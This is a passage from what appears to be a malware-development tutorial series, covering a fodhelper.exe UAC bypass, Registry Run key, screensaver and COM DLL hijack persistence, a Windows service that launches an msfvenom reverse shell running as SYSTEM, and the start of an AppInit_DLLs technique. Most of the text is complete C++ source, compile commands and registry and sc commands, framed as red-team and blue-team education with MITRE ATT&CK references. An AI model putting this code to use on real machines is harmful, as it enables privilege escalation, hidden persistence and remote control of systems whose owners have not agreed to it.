As you can see, as result, GetProcAddress WinAPI hidden: bypass AV engines in
certain scenarios.
Note that manually implementing GetProcAddress using the PEB is a difficult and
potentially error-prone task, but handling the inner workings of the Windows module
loading mechanism can be useful for advanced tasks such as reverse engineering and
malware analysis.
I hope this post spreads awareness to the blue teamers of this interesting evasion tech-
nique, and adds a weapon to the red teamers arsenal.
MITRE ATT&CK: T1027
AV evasion: part 1
AV evasion: part 2
AV evasion: part 4
GetModuleHandle
GetProcAddress
source code in github

569
66. malware AV/VM evasion - part 13 (part 17 on blog): bypass
UAC via fodhelper.exe. Simple C++ example.

This post appeared as an intermediate result of one of my research projects in which


I am going to bypass the antivirus by depriving it of the right to scan, so this is the
result of my own research on the first step, one of the interesting UAC bypass trick: via
foodhelper.exe with registry modification.

registry modification
The process of modifying a registry key has as its end objective the rerouting of an
elevated program’s execution flow to a command that has been managed. The most
common misuses of key values involve the manipulation of windir and systemroot
environment variables, as well as shell open commands for particular file extensions
(depending on the program that is being targeted):
• HKCU\\Software\\Classes\<targeted_extension>\\shell\\open\command
(Default or DelegateExecute values)

• HKCU\\Environment\\windir

• HKCU\\Environment\\systemroot

fodhelper.exe
fodhelper.exe was introduced in Windows 10 to manage optional features like
region-specific keyboard settings. It’s location is: C:\Windows\System32\fodhelper.exe
and it is signed by Microsoft:

570
When fodhelper.exe is started, process monitor begins capturing the process and
discloses (among other things) all registry and filesystem read/write operations. The
read registry accesses are one of the most intriguing activities, despite the fact that some
specific keys or values are not discovered. Because we do not require special permissions
to modify entries, HKEY_CURRENT_USER registry keys are particularly useful for testing
how a program’s behavior may change after the creation of a new registry key.
fodhelper.exe, searches for HKCU:\Software\Classes\ms-settings\shell\open\command.
This key does not exist by default in Windows 10:

So, when malware launches fodhelper (as we know, a Windows binary that permits
elevation without requiring a UAC prompt) as a Medium integrity process, Windows
automatically elevates fodhelper from a Medium to a High integrity process. The
High integrity fodhelper then tries to open a ms-settings file using the file’s default
handler. Since the malware with medium integrity has commandeered this handler,
the elevated fodhelper will execute an attack command as a process with high integrity.

practical example
So, let’s go to create PoC for this logic. First of all create registry key and set values -
our registry modification step:
HKEY hkey;
DWORD d;

const char* settings = "Software\\Classes\\ms-settings\\Shell\\Open\\command";


const char* cmd = "cmd /c start C:\\Windows\\System32\\cmd.exe"; // default program
const char* del = "";

// attempt to open the key


LSTATUS stat = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCSTR)settings, 0, NULL, 0,
KEY_WRITE, NULL, &hkey, &d);
printf(stat != ERROR_SUCCESS ? "failed to open or create reg key\n" :
"successfully create reg key\n");

571
// set the registry values
stat = RegSetValueEx(hkey, "", 0, REG_SZ, (unsigned char*)cmd, strlen(cmd));
printf(stat != ERROR_SUCCESS ? "failed to set reg value\n" :
"successfully set reg value\n");

stat = RegSetValueEx(hkey, "DelegateExecute", 0, REG_SZ, (unsigned char*)del,


strlen(del));
printf(stat != ERROR_SUCCESS ? "failed to set reg value: DelegateExecute\n" :
"successfully set reg value: DelegateExecute\n");

// close the key handle


RegCloseKey(hkey);
As you can see, just creates a new registry structure in: HKCU:\Software\Classes\ms-settings\
to perform UAC bypass.
Then, start elevated app:
// start the fodhelper.exe program
SHELLEXECUTEINFO sei = { sizeof(sei) };
sei.lpVerb = "runas";
sei.lpFile = "C:\\Windows\\System32\\fodhelper.exe";
sei.hwnd = NULL;
sei.nShow = SW_NORMAL;

if (!ShellExecuteEx(&sei)) {
DWORD err = GetLastError();
printf (err == ERROR_CANCELLED ? "the user refused to allow privileges elevation.\n" : "un
} else {
printf("successfully create process =^..^=\n");
}

return 0;
That’s all.
Full source code is looks like hack.c:
/*
* hack.c - bypass UAC via fodhelper.exe
* (registry modifications). C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/malware/2023/06/19/malware-av-evasion-17.html
*/
#include <windows.h>
#include <stdio.h>

int main() {

572
HKEY hkey;
DWORD d;

const char* settings = "Software\\Classes\\ms-settings\\Shell\\Open\\command";


const char* cmd = "cmd /c start C:\\Windows\\System32\\cmd.exe";
// default program
const char* del = "";

// attempt to open the key


LSTATUS stat = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCSTR)settings, 0, NULL,
0, KEY_WRITE, NULL, &hkey, &d);
printf(stat != ERROR_SUCCESS ? "failed to open or create reg key\n" :
"successfully create reg key\n");

// set the registry values


stat = RegSetValueEx(hkey, "", 0, REG_SZ, (unsigned char*)cmd, strlen(cmd));
printf(stat != ERROR_SUCCESS ? "failed to set reg value\n" :
"successfully set reg value\n");

stat = RegSetValueEx(hkey, "DelegateExecute", 0, REG_SZ, (unsigned char*)


del, strlen(del));
printf(stat != ERROR_SUCCESS ? "failed to set reg value: DelegateExecute\n"
: "successfully set reg value: DelegateExecute\n");

// close the key handle


RegCloseKey(hkey);

// start the fodhelper.exe program


SHELLEXECUTEINFO sei = { sizeof(sei) };
sei.lpVerb = "runas";
sei.lpFile = "C:\\Windows\\System32\\fodhelper.exe";
sei.hwnd = NULL;
sei.nShow = SW_NORMAL;

if (!ShellExecuteEx(&sei)) {
DWORD err = GetLastError();
printf (err == ERROR_CANCELLED ? "the user refused to allow privileges
elevation.\n" :
"unexpected error! error code: %ld\n", err);
} else {
printf("successfully create process =^..^=\n");
}

return 0;
}

573
demo
Let’s go to see everything in action. First, let’s check registry:
reg query "HKCU\Software\Classes\ms-settings\Shell\open\command"

Also, check our current privileges:


whoami /priv

Compile our hack.c PoC in attacker’s machine:


x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc -fpermissive

Then, just run it in the victim’s machine (Windows 10 x64 1903 in my case):
.\hack.exe

574
As you can see, cmd.exe is launched. Check registry structure again:
reg query "HKCU\Software\Classes\ms-settings\Shell\open\command"

As you can see, the registry has been successfully modified.


Check privileges in our launched cmd.exe session:
whoami /priv

575
Then, run Process Hacker with Administrator privileges:

and check properties of our cmd.exe:

576
As you can see, everything is worked perfectly! =.. =
Glupteba malware leveraging this method to first elevate from a Medium to High in-

577
tegrity process, then from High to System integrity via Token Manipulation.
I hope this post spreads awareness to the blue teamers of this interesting bypass tech-
nique, and adds a weapon to the red teamers arsenal.
MITRE ATT&CK: Modify registry
Glupteba
source code in github

578
67. malware development: persistence - part 1. Registry run keys.
C++ example.

This section starts a chapter on windows malware persistence techniques and tricks.
Today I’ll wrote about the result of self-researching “classic” persistence trick: startup
folder registry keys.

run keys
Adding an entry to the “run keys” in the registry will cause the app referenced to be
executed when a user logs in. These apps will be executed under the context of the user
and will have the account’s associated permissions level.
The following run keys are created by default on Windows Systems:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

579
Please note that this suggests to another trick to anti-VM (VirtualBox)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

Threat actors can use these configuration locations to execute malware to maintain
persistence through system reboots. Threat actors may also use masquerading to make
the registry entries look as if they are associated with legitimate programs.

practical example
Let’s go to look at a practical example. Let’s say we have a “malware” hack.cpp:
/*
meow-meow messagebox
author: @cocomelonc
*/
#include <windows.h>

int WINAPI WinMain(HINSTANCE hInstance,


HINSTANCE hPrevInstance, LPSTR lpCmdLine,
int nCmdShow) {
MessageBoxA(NULL, "Meow-meow!","=^..^=", MB_OK);
return 0;
}
Let’s go to compile it:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-mwindows -I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc -fpermissive

580
And save it to folder Z:\\2022-04-20-malware-pers-1\:

Then, let’s create a script pers.cpp that creates registry keys that will execute our
program hack.exe when we log into Windows:
/*
pers.cpp
windows low level persistense
via start folder registry key
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/04/20/malware-pers-1.html
*/
#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {


HKEY hkey = NULL;
// malicious app
const char* exe = "Z:\\2022-04-20-malware-pers-1\\hack.exe";

// startup
LONG res = RegOpenKeyEx(HKEY_CURRENT_USER,
(LPCSTR)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry key

581
RegSetValueEx(hkey, (LPCSTR)"hack", 0, REG_SZ,
(unsigned char*)exe, strlen(exe));
RegCloseKey(hkey);
}
return 0;
}
As you can see, logic is simplest one. We just add new registry key. Registry keys can
be added from the terminal to the run keys to achieve persistence, but since I love to
write code, I wanted to show how to do it with some lines of code.

demo
Let’s compile our pers.cpp script:
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

Then, first of all, check registry keys in the victim’s machine:


reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /s

Then, run our pers.exe script and check again:

582
.\pers.exe
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /s

As you can see, new key added as expected.


So now, check everything in action. Logout and login again:

583
Pwn! Everything is worked perfectly :)
After the end of the experiment, delete the keys:
Remove-ItemProperty -Path \
"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" \
-Name "hack"
reg query \
"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /s

584
windows 11
This trick is also work on Windows 11:

585
586
And cleanup:

587
conclusion
Creating registry keys that will execute an malicious app during Windows logon is one
of the oldest tricks in the red team playbooks. Various threat actors and known tools
such as Metasploit, Powershell Empire provide this capability therefore a mature blue
team specialists will be able to detect this malicious activity.
RegOpenKeyEx
RegSetValueEx
RegCloseKey
Remove-ItemProperty
reg query
source code in github

588
68. malware development: persistence - part 2. Screensaver hijack.
C++ example.

This post is a second part of a series of articles on windows malware persistence tech-
niques and tricks.
Today I’ll wrote about the result of self-researching another persistence trick: Abusing
screensavers.

screensavers
Screensavers are programs that execute after a configurable time of user inactivity. This
feature of Windows it is known to be abused by threat actors as a method of persistence.
Screensavers are PE-files with a .scr extension by default and settings are stored in the
following registry keys:
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveActive

589
set to 1 to enable screensaver.
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut - sets user
inactivity timeout before screensaver is executed.
HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE - set the app path
to run.

practical example
Let’s go to look at a practical example. Let’s say we have a “malware” from previous part
hack.cpp:
/*
meow-meow messagebox
author: @cocomelonc
*/
#include <windows.h>

int WINAPI WinMain(HINSTANCE hInstance,


HINSTANCE hPrevInstance, LPSTR lpCmdLine,
int nCmdShow) {
MessageBoxA(NULL, "Meow-meow!","=^..^=", MB_OK);
return 0;
}
Let’s go to compile it:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-mwindows -I/usr/share/mingw-w64/include/ -s \

590
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc -fpermissive

And save it to folder Z:\\2022-04-26-malware-pers-2\:

Then, let’s create a script pers.cpp that creates registry keys that will execute our
program hack.exe when user inactive 10 seconds:
/*
pers.cpp
windows low level persistense via screensaver
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/04/26/malware-pers-2.html
*/
#include <windows.h>
#include <string.h>

int reg_key_compare(HKEY hKeyRoot, char* lpSubKey,


char* regVal, char* compare) {
HKEY hKey = nullptr;
LONG ret;
char value[1024];
DWORD size = sizeof(value);
ret = RegOpenKeyExA(hKeyRoot, lpSubKey, 0, KEY_READ, &hKey);
if (ret == ERROR_SUCCESS) {
RegQueryValueExA(hKey, regVal, NULL, NULL,
(LPBYTE)value, &size);
if (ret == ERROR_SUCCESS) {
if (strcmp(value, compare) == 0) {

591
return TRUE;
}
}
}
return FALSE;
}

int main(int argc, char* argv[]) {


HKEY hkey = NULL;
// malicious app
const char* exe = "Z:\\2022-04-26-malware-pers-2\\hack.exe";
// timeout
const char* ts = "10";
// activation
const char* aact = "1";

// startup
LONG res = RegOpenKeyEx(HKEY_CURRENT_USER,
(LPCSTR)"Control Panel\\Desktop", 0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry keys
RegSetValueEx(hkey, (LPCSTR)"ScreenSaveActive", 0,
REG_SZ, (unsigned char*)aact, strlen(aact));
RegSetValueEx(hkey, (LPCSTR)"ScreenSaveTimeOut", 0,
REG_SZ, (unsigned char*)ts, strlen(ts));
RegSetValueEx(hkey, (LPCSTR)"SCRNSAVE.EXE", 0,
REG_SZ, (unsigned char*)exe, strlen(exe));
RegCloseKey(hkey);
}
return 0;
}
As you can see, logic is simplest one. We just add new registry keys for timeout and app
path. Registry keys can be added from the cmd terminal:
reg add "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /d 10
reg add "HKCU\Control Panel\Desktop" /v SCRNSAVE.EXE \
/d Z:\2022-04-26-malware-pers-2\hack.exe
or powershell commands:
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' \
-Name 'ScreenSaveTimeOut' -Value '10'
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' \
-Name 'SCRNSAVE.EXE' -Value \
'Z:\2022-04-26-malware-pers-2\hack.exe'
but since I love to write code, I wanted to show how to do it with some lines of code.

592
demo
Let’s compile our pers.cpp script:
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

Then, for the purity of experiment, first of all, check registry keys in the victim’s machine
and delete keys if exists:
reg query "HKCU\Control Panel\Desktop" /s
Remove-ItemProperty -Path "HKCU:\Control Panel\Desktop" \
-Name 'ScreenSaveTimeOut'
Remove-ItemProperty -Path "HKCU:\Control Panel\Desktop" \
-Name 'SCRNSAVE.EXE'

593
Then, run our pers.exe script and check again:
.\pers.exe
reg query "HKCU\Control Panel\Desktop" /s

As you can see, new key added as expected.


So now, check everything in action. Logout and login again and wait 10 seconds or just
inactive 10 seconds:

594
Pwn! Everything is worked perfectly :)
After the end of the experiment, delete the keys:
Remove-ItemProperty -Path "HKCU:\Control Panel\Desktop" \
-Name 'ScreenSaveTimeOut'
Remove-ItemProperty -Path "HKCU:\Control Panel\Desktop" \
-Name 'SCRNSAVE.EXE'
reg query "HKCU\Control Panel\Desktop" /s

conclusion
The problem with this persistence trick is that the session is terminated when the user
comes back and the system is not idle. However, red teams can perform their operations
(something like coin miner) during the user’s absence. If screensavers are disabled by
group policy, this method cannot be used for persistence. Also you can block .scr files
from being executed from non-standard locations.
This trick in MITRE ATT&CK
RegOpenKeyEx
RegSetValueEx
RegCloseKey
Remove-ItemProperty
reg query
source code in github

595
69. malware development: persistence - part 3. COM DLL hijack.
Simple C++ example.

This section is a next part of a series of articles on windows malware persistence tech-
niques and tricks.
Today I’ll wrote about the result of self-researching another persistence trick: COM
hijacking.

Component Object Model


In Windows 3.11, Microsoft introduced the Component Object Model (COM) is an
object-oriented system meant to create binary software components that can interact
with other objects. It’s an interface technology that allows you to reuse items without
knowing how they were made internally.
I’ll show you how red commands can use COM objects to run arbitrary code on behalf
of a trusted process in this post.
When a software needs to load a COM object, it uses the Windows API
CoCreateInstance to construct an uninitialized object instance of a specific
class, with the CLSID as one of the needed parameters (class identifier).
When a program calls CoCreateInstance with a particular CLSID value, the operating
system consults the registry to discover which binary contains the requested COM code:

596
The contents of the InProcServer32 subkey under the CLSID key seen in the previous
image are presented in the next image:

In my case, firefox.exe calling CoCreateInstance with CLSID:


{A1DB7B5E-D0EA-4FE0-93C4-314505788272}. The C:\Windows\System32\TaskFlowDataEngine.dll
file associated with the registry key
HKCU\Software\Classes\CLSID\{A1DB7B5E-D0EA-4FE0-93C4-314505788272}\InprocServer32
There are a variety of ways to execute code, but COM has been employed in red team-
ing circumstances for persistence, lateral movement, and defense evasion in various
instances. Various registry sub-keys are used during COM Hijacking depending on how
the malicious code is run. These are the following:
• InprocServer/InprocServer32

• LocalServer/LocalServer32

• TreatAs

• ProgID
The sub-keys listed above are found in the following registry hives:
• HKEY_CURRENT_USER\Software\Classes\CLSID

• HKEY_LOCAL_MACHINE\Software\Classes\CLSID

597
how to discover COM keys for hijacking
Identification of COM keys that could be used to commit COM hijacking is simple and just
requires the use of sysinternals Process Monitor to find COM servers that lack CLSIDs.
It also does not require elevated privileges (HKCU). The following filters can be set up
in Process Monitor:

Also still good to add: Exclude if path starts with HKLM


The HKEY CURRENT USER (HKCU) key is examined first when trying to load COM objects,
giving preference to user-specified COM objects rather than system-wide COM objects
(additional information in HKEY CLASSES ROOT key).
In my case, the firefox.exe process exhibits this behavior in the image below. The
process is attempting to access CLSID A6FF50C0-56C0-71CA-5732-BED303A59628
at the HKCU registry key. Because the CLSID isn’t found in the HKCU registry key,
Windows reverts to HCKR (HKLM beneath the hood) for the identical CLSID, which
worked in the previous attempt. This can be checked with commands:
reg query \
"HKCU\Software\Classes\CLSID\
{A6FF50C0-56C0-71CA-5732-BED303A59628}\InprocServer32" /s
reg query "HKCR\CLSID\
{A6FF50C0-56C0-71CA-5732-BED303A59628}\InprocServer32" /s

Following the steps outlined above, we now have critical information that we may use
to launch a COM Hijacking attack.

598
attack process
First off all, export the specified subkeys, entries, and values of the local computer into
a file:
reg export \
"HKCR\CLSID\{A6FF50C0-56C0-71CA-5732-BED303A59628}
\InprocServer32" \
C:\...\2022-05-02-malware-pers-3\orig.reg /reg:64 /y

The next step is modify this file to set the default value of
HKCU\Software\Classes\CLSID\{A6FF50C0-56C0-71CA-5732-BED303A59628}\InprocServer32
registry key:

As you can see, we are placing custom DLL to be executed:

For simplicity, as always I took all the same file from one of my previous posts.
You can compile it from source code (evil.cpp):
/*
evil.cpp
simple DLL for DLL inject to process
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/09/20/malware-injection-2.html
*/

599
#include <windows.h>
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule,


DWORD nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Meow from evil.dll!",
"=^..^=",
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
Then, just run:
x86_64-w64-mingw32-g++ -shared -o evil.dll evil.cpp -fpermissive

Save reg file as evil.reg:

And import, then check registry again:

600
reg import \
C:\...\2022-05-02-malware-pers-3\evil.reg /reg:64
reg query \
"HKCU\Software\Classes\CLSID\
{A6FF50C0-56C0-71CA-5732-BED303A59628}\InprocServer32" \
/s

Perfect!

demo
Then restart firefox.exe in my case, wait some time. I’ve be waiting around 7 mins:

601
If you notice then PID is 9272. But if you open Process Hacker you can see that it’s
not here:

Firefox crashed after a some time:

602
but it happened the only time.
Later, the “meow-meow” messagebox window popped-up with some frequency:

And even after closing firefox:

That’s perfectly! :)

update: programmer way


I also created pers.cpp dirty PoC script:
/*
pers.cpp
windows low level persistence via
COM hijacking
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/05/02/malware-pers-3.html

603
*/
#include <windows.h>
#include <string.h>
#include <cstdio>

int main(int argc, char* argv[]) {


HKEY hkey = NULL;

// subkey
const char* sk =
"Software\\Classes\\CLSID\\
{A6FF50C0-56C0-71CA-5732-BED303A59628}\\InprocServer32";

// malicious DLL
const char* dll =
"C:\\Users\\User\\Desktop\\shared\\
2022-05-02-malware-pers-3\\evil.dll";

// startup
LONG res = RegCreateKeyEx(HKEY_CURRENT_USER,
(LPCSTR)sk, 0, NULL, REG_OPTION_NON_VOLATILE,
KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);
if (res == ERROR_SUCCESS) {
// create new registry keys
RegSetValueEx(hkey, NULL, 0, REG_SZ,
(unsigned char*)dll, strlen(dll));
RegCloseKey(hkey);
} else {
printf("cannot create subkey for hijacking :(\n");
return -1;
}
return 0;
}
compile it:
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

604
and run:
.\pers.exe

As you can see, everything is work perfectly :)


Cleaning after completion of experiments:
reg delete \
"HKCU\Software\Classes\CLSID\
{A6FF50C0-56C0-71CA-5732-BED303A59628}" \
/f

conclusion
An attacker can employ a not-so-common but widely used technique to ensure silent
persistence in a system after executing this actions. In the wild, this trick was often used
by groups such as APT 28, Turla, as well as Mosquito backdoor.
COM hijacking MITRE ATT&CK
APT 28
Turla
RegCreateKeyEx
RegSetValueEx
reg query
reg import
reg export
reg delete
source code in github

605
70. malware development: persistence - part 4. Windows services.
Simple C++ example.

This section is a next part of a series of articles on windows malware persistence tech-
niques and tricks.
Today I’ll wrote about the result of self-researching another persistence trick: Windows
Services.

windows services
Windows Services are essential for hacking due to the following reasons:
• They operate natively over the network – the entire Services API was created
with remote servers in mind.

• They start automatically when the system boots.

• They may have extremely high privileges in the operating system.


Managing services requires high privileges, and an unprivileged user can often only view
the settings. This has not changed in over twenty years.
In a Windows context, improperly configured services might lead to privilege escalation
or be utilized as a persistence technique.
So, creating a new service requires Administrator credentials and is not a stealthy per-
sistence approach.

practical example
Let’s go to consider practical example: how to create and run a Windows service that
receives a reverse shell for us.
First of all create reverse shell exe file via msfvenom from my attacker machine:

606
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=192.168.56.1 LPORT=4445 -f exe > meow.exe

Then, create service which run my meow.exe in the target machine.


The minimum requirements for a service are the following: - A Main Entry point (like
any application)
- A Service Entry point
- A Service Control Handler
In the main entry point, you rapidly invoke StartServiceCtrlDispatcher so the
SCM may call your Service Entry point (ServiceMain):
int main() {
SERVICE_TABLE_ENTRY ServiceTable[] = {
{"MeowService", (LPSERVICE_MAIN_FUNCTION) ServiceMain},
{NULL, NULL}
};

StartServiceCtrlDispatcher(ServiceTable);
return 0;
}
The Service Main Entry Point performs the following tasks: - Initialize any required
things that we postponed from the Main Entry Point.
- Register the service control handler (ControlHandler) that will process Service Stop,
Pause, Continue, etc. control commands.
- These are registered as a bit mask via the dwControlsAccepted field of the SERVICE
STATUS structure.

607
- Set Service Status to SERVICE RUNNING. - Perform initialization procedures. Such as
creating threads/events/mutex/IPCs, etc.
void ServiceMain(int argc, char** argv) {
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
serviceStatus.dwControlsAccepted =
SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
serviceStatus.dwWin32ExitCode = 0;
serviceStatus.dwServiceSpecificExitCode = 0;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;

hStatus = RegisterServiceCtrlHandler("MeowService",
(LPHANDLER_FUNCTION)ControlHandler);
RunMeow();

serviceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus (hStatus, &serviceStatus);

while (serviceStatus.dwCurrentState == SERVICE_RUNNING) {


Sleep(SLEEP_TIME);
}
return;
}
The Service Control Handler was registered in your Service Main Entry point. Each
service must have a handler to handle control requests from the SCM:
void ControlHandler(DWORD request) {
switch(request) {
case SERVICE_CONTROL_STOP:
serviceStatus.dwWin32ExitCode = 0;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &serviceStatus);
return;

case SERVICE_CONTROL_SHUTDOWN:
serviceStatus.dwWin32ExitCode = 0;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &serviceStatus);
return;

default:
break;COM DLL hijack
}
SetServiceStatus(hStatus, &serviceStatus);

608
return;
}
I have only implemented and supported the SERVICE_CONTROL_STOP and
SERVICE_CONTROL_SHUTDOWN requests. You can handle other requests such as
SERVICE_CONTROL_CONTINUE, SERVICE_CONTROL_INTERROGATE, SERVICE_CONTROL_PAUSE,
SERVICE_CONTROL_SHUTDOWN and others.
Also, create function with evil logic:
// run process meow.exe - reverse shell
int RunMeow() {
void * lb;
BOOL rv;
HANDLE th;

// for example:
// msfvenom -p windows/x64/shell_reverse_tcp
// LHOST=192.168.56.1 LPORT=4445 -f exe > meow.exe
char cmd[] = "Z:\\2022-05-09-malware-pers-4\\meow.exe";
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL,
NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
return 0;
}

int main() {
SERVICE_TABLE_ENTRY ServiceTable[] = {
{"MeowService",
(LPSERVICE_MAIN_FUNCTION) ServiceMain},
{NULL, NULL}
};

StartServiceCtrlDispatcher(ServiceTable);
return 0;
}
As I wrote earlier, just create our reverse shell process (meow.exe):

609
Of course, this code is not reference and it is more “dirty” Proof of Concept.

demo
Let’s go to demonstration all.
Compile our service:
x86_64-w64-mingw32-g++ -O2 meowsrv.cpp -o meowsrv.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

We can install the service from the command prompt by running the following command
in target machine Windows 10 x64. Remember that all commands run as administra-
tor:
sc create MeowService binpath= \
"Z:\2022-05-09-malware-pers-4\meowsrv.exe" \
start= auto

610
Check:
sc query MeowService

If we open the Process Hacker, we will see it in the Services tab:

If we check its properties:

611
The LocalSystem account is a predefined local account used by the service con-
trol manager. It has extensive privileges on the local computer, and acts as the
computer on the network. Its token includes the NT AUTHORITY\SYSTEM and
BUILTIN\Administrators SIDs; these accounts have access to most system objects.
The name of the account in all locales is .\LocalSystem. The name, LocalSystem
or ComputerName\LocalSystem can also be used. This account does not have a
password. If you specify the LocalSystem account in a call to the CreateService or
ChangeServiceConfig function, any password information you provide is ignored
via MSDN.
Then, start service via command:
sc start MeowService

And as you can see, we got a reverse shell!:

612
And our MeowService service got a PID: 5668:

Then, run Process Hacker as non-admin User:

613
As you can see, it doesn’t show us the username. But, running Process Hacker as
Administartor changes the situation, and we see that our shell running on behalf NT
AUTHORITY\SYSTEM:

We will see it in the Network tab:

614
So, everything is worked perfectly :)
Let’s go cleaning after completion of experiments. Stop service:
sc stop MeowService

So, MeowService successfully stopped. And if we delete it:


sc delete MeowService

615
We can see Process Hacker’s notification about this.
But, there is one very important caveat. You might wonder why we just not running
command:
sc create MeowService \
binpath= "Z:\2022-05-09-pers-4\meow.exe" \
start= auto
Because, meow.exe is not actually a service. As I wrote earlier, the minimum require-
ments for a service are following specific functions: main entry point, service entry
point and service control handler. If you try create service from just meow.exe. It’s
just terminate with error.

conclusion
This technique is not new, but it is worth paying attention to it, especially entry level
blue team specialists. Threat actors also can modify existing windows services instead
create new ones. In the wild, this trick was often used by groups such as APT 38, APT
32 and APT 41.
MITTRE ATT&CK. Create or Modify System Process: Windows Service
APT 32
APT 38
APT 41
source code in Github

616
\subsection{71. malware development: persistence - part 5. AppInit_DLLs. Simple C++
example.}

This section is a next part of a series of articles on windows malware persistence tech-
niques and tricks.
Today I’ll wrote about the result of self-researching another persistence trick: Ap-
pInit_DLLs.
Windows operating systems have the functionality to allow nearly all application pro-
cesses to load custom DLLs into their address space. This allows for the possibility of
persistence, as any DLL may be loaded and executed when application processes are
created on the system.

AppInit DLLs
Administrator level privileges are necessary to implement this trick. The following
registry keys regulate the loading of DLLs via AppInit:
• HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows
- 32-bit
• HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows
NT\CurrentVersion\Windows - 64-bit
We are interested in the following values:
reg query \
"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /s

617
And for 64-bit:
reg query \
"HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\
Windows" \
/s

Microsoft to protect Windows users from malware has disabled by default the load-
ing of DLLs’s via AppInit (LoadAppInit_DLLs). However, setting the registry key
LoadAppInit_DLLs to value 1 will enable this feature.

practical example
First of all, create “evil” DLL. As usual I will take “meow-meow” messagebox pop-up
logic:
/*
evil.cpp
inject via Appinit_DLLs
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/05/16/malware-pers-5.html
*/

#include <windows.h>

618
#pragma comment (lib, "user32.lib")

extern "C" {
__declspec(dllexport) BOOL WINAPI runMe(void) {
MessageBoxA(NULL, "Meow-meow!", "=^..^=", MB_OK);
return TRUE;
}
}

BOOL APIENTRY DllMain(HMODULE hModule,


DWORD nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:
runMe();
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
Let’s go to compile it:
x86_64-w64-mingw32-gcc -shared -o evil.dll evil.cpp -fpermissive

Then simple logic: changing the registry key AppInit_DLLs to contain the path to the
DLL, as a result, evil.dll will be loaded.
For this create another app pers.cpp:
/*
pers.cpp
